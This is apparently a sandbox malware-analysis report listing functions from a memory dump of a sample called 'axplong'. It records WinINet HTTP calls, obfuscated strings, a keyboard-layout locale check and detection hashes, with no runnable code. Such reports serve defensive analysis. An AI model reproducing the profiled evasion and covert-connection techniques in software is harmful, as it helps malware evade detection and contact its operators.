invalid stoi argument, xrefs: 008A2DB9, 008A2DC8, 008A422A, 008A4E6D
XM7e, xrefs: 008A3ABE
a9P=, xrefs: 008A6353
R2Z, xrefs: 008A52ED
NvB+, xrefs: 0089E704, 008A4746, 008A47BD, 008A4A65, 008A4ADC
Inhk, xrefs: 008A375F
WRQd, xrefs: 008A3D90
stoi argument out of range, xrefs: 008A2DD2, 008A2DF0, 008A4239, 008A4E7C
XvPZ, xrefs: 008A5373
avBZ, xrefs: 008A53C5
", xrefs: 008A3E69
SBZ, xrefs: 008A5440
Gl==, xrefs: 008A366E, 008A4CFD
LrTsKE==, xrefs: 008A5489

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: R2Z$ SBZ$ wNZ$"$246122658369$5120$9LFZ$Gl==$Inhk$LrTsKE==$NvB+$NvF+$WMNZ$WMxZ$WRQd$Wb Z$XM7e$XvPZ$Xvml$a9P=$aRFZ$aSF2aA==$avBZ$bLTZ$bcBZ$e76b71$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-736024444
Opcode ID: 1d0b36b622fdfe12304f5b5f524ed6aa15da2261c1dd91dda13a8b98f84a58a5
Instruction ID: e08cf0c4e1fb8d2c077e46f860751a6e421caf0c42d0e80cf9e40b2726d856eb
Opcode Fuzzy Hash: 1d0b36b622fdfe12304f5b5f524ed6aa15da2261c1dd91dda13a8b98f84a58a5
Instruction Fuzzy Hash: 6552F270A002489BEF18EB7CCC4A79DBB75FB46310F54419CF405E7B82D7799A848B92

Function 008A4690 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 008A7840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 008A792C
Part of subcall function 008A7840: __Cnd_destroy_in_situ.LIBCPMT ref: 008A7938
Part of subcall function 008A7840: __Mtx_destroy_in_situ.LIBCPMT ref: 008A7941

Part of subcall function 0089BD30: InternetOpenW.WININET(008E8D18,00000000,00000000,00000000,00000000), ref: 0089BDBD
Part of subcall function 0089BD30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0089BDE0
Part of subcall function 0089BD30: HttpOpenRequestA.WININET(?,00000000), ref: 0089BE2A

std::_Xinvalid_argument.LIBCPMT ref: 008A4E72

Strings

246122658369, xrefs: 008A4F0A, 008A4F1D, 008A4F5F, 008A4F69, 008A54C4
stoi argument out of range, xrefs: 008A4239, 008A4E7C
Wb Z, xrefs: 008A5417
bLTZ, xrefs: 008A539C
aSF2aA==, xrefs: 008A46E2
XvPZ, xrefs: 008A5373
9LFZ, xrefs: 008A54D2
bcBZ, xrefs: 008A54AB
avBZ, xrefs: 008A53C5
aRFZ, xrefs: 008A5467
NvF+, xrefs: 008A478D, 008A48BC, 008A4AAC, 008A4BDB
wNZ, xrefs: 008A5321
WMNZ, xrefs: 008A534A
e76b71, xrefs: 008A5459
WMxZ, xrefs: 008A53EE
SBZ, xrefs: 008A5440
a9P=, xrefs: 008A6353, 008A6622
Gl==, xrefs: 008A366E, 008A4CFD
R2Z, xrefs: 008A52ED
NvB+, xrefs: 008A4746, 008A47BD, 008A4A65, 008A4ADC
LrTsKE==, xrefs: 008A5489

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: R2Z$ SBZ$ wNZ$246122658369$9LFZ$Gl==$LrTsKE==$NvB+$NvF+$WMNZ$WMxZ$Wb Z$XvPZ$a9P=$aRFZ$aSF2aA==$avBZ$bLTZ$bcBZ$e76b71$stoi argument out of range
API String ID: 2414744145-383584070
Opcode ID: 7daf4d8e091c375ebb5966138d0feefd3f0019d1ffab31ea63e7dc736ee0d719
Instruction ID: 0b9ae3cd7f8289f3b75b9ac40785cec0fc5b2e0c93347ce00c8e0fac18f7b3f1
Opcode Fuzzy Hash: 7daf4d8e091c375ebb5966138d0feefd3f0019d1ffab31ea63e7dc736ee0d719
Instruction Fuzzy Hash: 5A230471E002588BEB19DB28CD4579DBB76FB82304F5481D8E009E7A86EB795F84CF52

Function 00895DD0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 0089601B
00000423, xrefs: 00895FEA
Keyboard Layout\Preload, xrefs: 00895F44
00000422, xrefs: 00895FB9
00000419, xrefs: 00895F88

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 2796bb22caff929341c4edefecd4d4968bc3a3896cba681da6937a9a809f8de5
Instruction ID: 3bdafc0ae734252c23bc503a4a98a733fd33ddf077d56ef079b9f13fc7930257
Opcode Fuzzy Hash: 2796bb22caff929341c4edefecd4d4968bc3a3896cba681da6937a9a809f8de5
Instruction Fuzzy Hash: 31E18C71900258ABEF25EBA8CC89B9EB779FB05300F5442D9E409E7291DB749BC48F52

Function 00897CE0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00897E83

Strings

K9pqMU==, xrefs: 00898042
K9prKk==, xrefs: 008980EA
K9pqLk==, xrefs: 00898192

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: K9pqLk==$K9pqMU==$K9prKk==
API String ID: 1721193555-747669196
Opcode ID: 869843809707f2e08ae76938092650fe13527afb453a8aea3f5b707b4cb1df05
Instruction ID: ac136944b129a1e4e8d2375125f00bba18a404c3cc0af873267634cf4f2dced4
Opcode Fuzzy Hash: 869843809707f2e08ae76938092650fe13527afb453a8aea3f5b707b4cb1df05
Instruction Fuzzy Hash: 05D1C371E046089BDF14BB78DC4A7AD7B61FB46324F984298E415E73C2DB754E848B82

Function 008C6DE1 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 008C6E03
GetFileInformationByHandle.KERNELBASE(?,?), ref: 008C6E5D
__dosmaperr.LIBCMT ref: 008C6EF2

Part of subcall function 008C7157: __dosmaperr.LIBCMT ref: 008C718C

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 77bc5597f80644161c4b6991729291a82d8c6341ebb160edef63a41c7fe15673
Instruction ID: ab7331f91447f2f98e4eaacabefb30876252ace6873f83e588e68e596eb25773
Opcode Fuzzy Hash: 77bc5597f80644161c4b6991729291a82d8c6341ebb160edef63a41c7fe15673
Instruction Fuzzy Hash: D5414B75910648ABDB24EFB9D845EABBBF9FF89300B10442EF856D3610EB30D854CB61

Function 008C6C79 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 480836df40cc64049a5164190034e0a65ea154fc1115983ec9f721e220ecc4dc
Instruction ID: e41588ff5ccc8da42fa0d26dd336f2fc2033f6682618bf7d735aa9b8a4ffa0dd
Opcode Fuzzy Hash: 480836df40cc64049a5164190034e0a65ea154fc1115983ec9f721e220ecc4dc
Instruction Fuzzy Hash: F3210D71A051087BEB117B68AC41F9E3739FF41378F200328F525AB1D1EB71DD159662

Function 008CB4F5 Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,008C69A7,?), ref: 008CB4FD
__dosmaperr.LIBCMT ref: 008CB50E

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: fc9ed44e6e666db78346da42a0c247b5ee63b51a17f81a83b43ae915716731ee
Instruction ID: ef4be11ee7689f0b51933e7c31e402df3d9d7fcb0d1abf26e837feb7bb473f50
Opcode Fuzzy Hash: fc9ed44e6e666db78346da42a0c247b5ee63b51a17f81a83b43ae915716731ee
Instruction Fuzzy Hash: FAD0127216A64C279E2035B96C0DD16365D9B82374B242A65FC3CC5191DF72C8515892

Function 008CD4D4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ee9b409d54f2b01400c9f5beea3821aca3b90171edc206232fe986c93289780
Instruction ID: de28f0dce545062095d1a0ab7956af48648f77bf48207771bd61ad4186cd5d8f
Opcode Fuzzy Hash: 0ee9b409d54f2b01400c9f5beea3821aca3b90171edc206232fe986c93289780
Instruction Fuzzy Hash: B6618D729007188BDF25BBA8D885FADBBB0FB65318F24813DE459EB251D731D804CB92

Function 00898290 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00898434

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f84c4087cb0a2003e2d9dd2e48625ce27256d2ab6354076ab2fcad5fbb9fe392
Instruction ID: 907ce0550ebc37e4b0fa764bcc7f02ad74c00ef39dea4b94947b356a7bfb918d
Opcode Fuzzy Hash: f84c4087cb0a2003e2d9dd2e48625ce27256d2ab6354076ab2fcad5fbb9fe392
Instruction Fuzzy Hash: 1B51E371900249DBEF14EB38CD497ADB774FF46314F5442A8E815E7382EB359A808B96

Function 008C6F51 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 008C6F93

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 49a7536b79ef8bf000401a80eddd61118919c9221a6af97bfb6b894238531521
Instruction ID: bfe814d004ac7d5416b81e797e08648c0942d741427aa27c8aa74dc6c73b9c7c
Opcode Fuzzy Hash: 49a7536b79ef8bf000401a80eddd61118919c9221a6af97bfb6b894238531521
Instruction Fuzzy Hash: C311ECB291010DABDB10DE95D944FDFB7BCAB48310F50526AE511E6180EB70EB58CB61

Function 008CD6CF Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,008CA5CD,?,008C748E,?,00000000,?), ref: 008CD711

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a5190de5b6305f596fcdf03b7e2ea2ddeb1e0f61b53b7f0875b4717b5aefae0d
Instruction ID: 44d266d9128114893950d843f0ef510cf03aa587744c98726c50a9f856ab7ae7
Opcode Fuzzy Hash: a5190de5b6305f596fcdf03b7e2ea2ddeb1e0f61b53b7f0875b4717b5aefae0d
Instruction Fuzzy Hash: C6F0E231545728A69B213A66AC01F6BBBB9FF51360F18953AEC08E7181CB30E80086E1

Function 008CAEEB Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,06A17B53,?,?,008AD302,06A17B53,?,008A78CB,?,?,?,?,?,?,00897415,?), ref: 008CAF1D

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ebe3e7fd9943882b0f4dde5ae0f870caff7fd32040ccf8c76b4ea7ff9a4832c7
Instruction ID: 777bc3c66d347d0f28b2b8a5d2dab50f77d1aab7f7a33445ae3593821c3a340b
Opcode Fuzzy Hash: ebe3e7fd9943882b0f4dde5ae0f870caff7fd32040ccf8c76b4ea7ff9a4832c7
Instruction Fuzzy Hash: 10E0E5B512522956D72822656C41F6B35BCFB413B8F11022CAD41D6090DE31CC0085F3

Function 051E0C5C Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

'6Gp, xrefs: 051E0D71

Memory Dump Source

Source File: 00000002.00000002.2777721847.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

